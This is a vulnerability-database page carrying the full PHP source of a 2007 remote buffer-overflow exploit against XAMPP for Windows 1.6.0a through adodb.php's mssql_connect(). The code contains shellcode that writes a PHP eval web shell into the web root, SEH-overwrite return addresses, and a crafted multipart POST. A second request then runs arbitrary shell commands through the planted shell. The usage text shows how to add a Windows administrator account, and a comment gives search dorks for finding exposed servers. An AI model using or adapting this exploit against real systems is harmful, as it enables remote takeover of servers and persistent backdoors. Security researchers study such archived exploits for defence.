Lucene search
K

XAMPP for Windows <= 1.6.0a mssql_connect() Remote BoF Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 26 Views

XAMPP for Windows <= 1.6.0a mssql_connect() Remote BoF Exploit. Buffer overflow vulnerability in XAMPP for Windows version 1.6.0a allows remote attackers to execute arbitrary code via a long host parameter to the mssql_connect() function. This may lead to a potential security breach

Code

                                                &#60;?php
print_r(&#39;
---------------------------------------------------------------------------
XAMPP for Windows &#60;= 1.6.0a adodb.php/mssql_connect() remote buffer overflow
proof-of-concept exploit
seh overwrite method / 2000 sp3 version
mail: retrog at alice dot it
site: http://retrogod.altervista.org
---------------------------------------------------------------------------
&#39;);

/*

http://sourceforge.net/project/showfiles.php?group_id=61776

this easy to install Apache / MySQL / PHP distribution for Windows
carries various (lots) test scripts vulnerable to sql injection, but
we have here another kind of injection, adodb.php lines 62-68:

...
                      	include_once &#39;adodb/adodb-errorpear.inc.php&#39;;
			include_once &#39;adodb/adodb.inc.php&#39;;
			include_once &#39;adodb/tohtml.inc.php&#39;;

                        $db = ADONewConnection($_POST[&#39;dbserver&#39;]);

                        @$db-&#62;Connect($_POST[&#39;host&#39;], $_POST[&#39;user&#39;], $_POST[&#39;password&#39;], $_POST[&#39;database&#39;]);
			echo &#34;&#60;p&#62;&#60;b&#62;DBServer: $_POST[dbserver]&#60;/b&#62;&#60;p&#62;&#34;;
			$result = $db-&#62;Execute(&#34;SELECT * FROM $_POST[table]&#34;);
...

mssql_connect() function is vulnerable to buffer overflow and
the host argument is totally unchecked. Also this shows a vulnerabilty in
ADODB library (which is in the include path, inside PEAR folder) in the
Connect method .

If you say that this should be not used for production purpose or
exposed to the outside world, try theese google dorks:

intitle:XAMPP intitle:windows intitle:version
intitle:XAMPP intitle:version intitle:1.6.0a +windows

note: I could use the INTO OUTFILE method through sql injection
to export some shell inside the /htdocs folder because we have FILE
privilege, but we have  magic_quotes_gpc on here. This is instead
possbile through the PhpMyAdmin default user/password.
note ii: PHP version is 5.2.1
note iii: bof is possible because mssql extension is enabled
by default in php.ini
*/

if ($argc&#60;2) {
    print_r(&#39;
---------------------------------------------------------------------------
Usage: php &#39;.$argv[0].&#39; host cmd OPTIONS
host:      target server (ip/hostname)
cmd:       a shell command
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
 -S           only send the second packet
Example:
php &#39;.$argv[0].&#39; localhost VER -P1.1.1.1:80
php &#39;.$argv[0].&#39; localhost NET USER sun tzu /ADD ^&^& NET LOCALGROUP
Administrators /ADD sun -p81 -S
---------------------------------------------------------------------------
&#39;);
    die;
}
error_reporting(7);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;

function sendpacketii($packet,$want_out)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],(int)$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($want_out){
      if ($proxy==&#39;&#39;) {
        $html=&#39;&#39;;
        while (!feof($ock)) {
          $html.=fgets($ock);
        }
      }
      else {
        $html=&#39;&#39;;
        while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
          $html.=fread($ock,1);
        }
      }
  }
  fclose($ock);
}

$host=$argv[1];
$port=80;
$proxy=&#34;&#34;;
$cmd=&#34;&#34;;
$send_bof=true;
for ($i=2; $i&#60;$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp&#60;&#62;&#34;-p&#34;)
and ($temp&#60;&#62;&#34;-P&#34;)
and ($temp&#60;&#62;&#34;-S&#34;)
){
  $cmd.=&#34; &#34;.$argv[$i];
}
if ($temp==&#34;-p&#34;)
{
  $port=(int)str_replace(&#34;-p&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-P&#34;)
{
  $proxy=str_replace(&#34;-P&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-S&#34;)
{
  $send_bof=false;
}
}
if ($proxy==&#39;&#39;) {$p=&#34;&#34;;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port;}

//bad chars -&#62; \x00,\x22,\x27,\x5c thoose affected by magic_quotes_gpc
//102 bytes execute command one by me...
//cmd.exe /c echo ^&#60;?php eval($_SERVER[HTTP_C]);?^&#62; &#62; ./htdocs/xampp/s.php &

if ($send_bof){
$____scode=
&#34;\xeb\x13\x5b\x31\xc0\x50\x31\xc0\x88\x43\x4a\x53&#34;.
&#34;\xbb\xca\x73\xe9\x77&#34;. //WinExec, kernel32.dll
&#34;\xff\xd3\x31\xc0\xe8\xe8\xff\xff\xff\x63\x6d\x64&#34;.
&#34;\x2e\x65\x78\x65\x20\x2f\x63\x20\x65\x63\x68\x6f&#34;.
&#34;\x20\x5e\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c&#34;.
&#34;\x28\x24\x5f\x53\x45\x52\x56\x45\x52\x5b\x48\x54&#34;.
&#34;\x54\x50\x5f\x43\x5d\x29\x3b\x3f\x5e\x3e\x20\x3e&#34;.
&#34;\x20\x2e\x2f\x68\x74\x64\x6f\x63\x73\x2f\x78\x61&#34;.
&#34;\x6d\x70\x70\x2f\x73\x2e\x70\x68\x70\x20\x26\x20&#34;.
&#34;\xff&#34;;

//some junk to make this adjustable for sp4
//eip = ecx
$eip=&#34;\x47\x30\xE9\x77&#34;; //0x77E93047  pop ECX - pop - retbis kernel32.dll and further ja short
$jmp=&#34;\xeb\x8b\x90\x90&#34;; //jmp short
$____suntzu=str_repeat(&#34;\x90&#34;,1932-strlen($____scode)).$____scode.&#34;\x90\x90\x90\x90\x90\x90\x90\x90&#34;.$jmp.$eip;

$data =&#34;-----------------------------7d61bcd1f033e\r\n&#34;;
$data.=&#34;Content-Disposition: form-data; name=\&#34;dbserver\&#34;;\r\n\r\n&#34;;
$data.=&#34;mssql\r\n&#34;;
$data.=&#34;-----------------------------7d61bcd1f033e\r\n&#34;;
$data.=&#34;Content-Disposition: form-data; name=\&#34;host\&#34;;\r\n\r\n&#34;;
$data.=&#34;$____suntzu\r\n&#34;;
$data.=&#34;-----------------------------7d61bcd1f033e\r\n&#34;;
$data.=&#34;Content-Disposition: form-data; name=\&#34;adodb\&#34;;\r\n\r\n&#34;;
$data.=&#34;submit\r\n&#34;;
$data.=&#34;-----------------------------7d61bcd1f033e\r\n&#34;;
$data.=&#34;Content-Disposition: form-data; name=\&#34;user\&#34;;\r\n\r\n&#34;;
$data.=&#34;1\r\n&#34;;
$data.=&#34;-----------------------------7d61bcd1f033e\r\n&#34;;
$data.=&#34;Content-Disposition: form-data; name=\&#34;password\&#34;;\r\n\r\n&#34;;
$data.=&#34;1\r\n&#34;;
$data.=&#34;-----------------------------7d61bcd1f033e\r\n&#34;;
$data.=&#34;Content-Disposition: form-data; name=\&#34;database\&#34;;\r\n\r\n&#34;;
$data.=&#34;1\r\n&#34;;
$data.=&#34;-----------------------------7d61bcd1f033e--\r\n&#34;;
$packet =&#34;POST $p/xampp/adodb.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Content-Type: multipart/form-data; boundary=---------------------------7d61bcd1f033e\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet,0);
sleep(2);
}

echo &#34;cmd -&#62; &#34;.$cmd.&#34;\n&#34;;

$packet =&#34;GET $p/xampp/s.php HTTP/1.0\r\n&#34;;
$packet.=&#34;C: error_reporting(E_ALL);set_time_limit(0);echo \&#34;_delim_\&#34;;passthru(\$_SERVER[HTTP_CMD]);echo \&#34;_delim_\&#34;;\r\n&#34;;
$packet.=&#34;CMD: $cmd\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n\r\n&#34;;
sendpacketii($packet,1);
$out=explode(&#34;_delim_&#34;,$html);
echo $out[1];
?&#62;

# milw0rm.com [2007-04-15]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation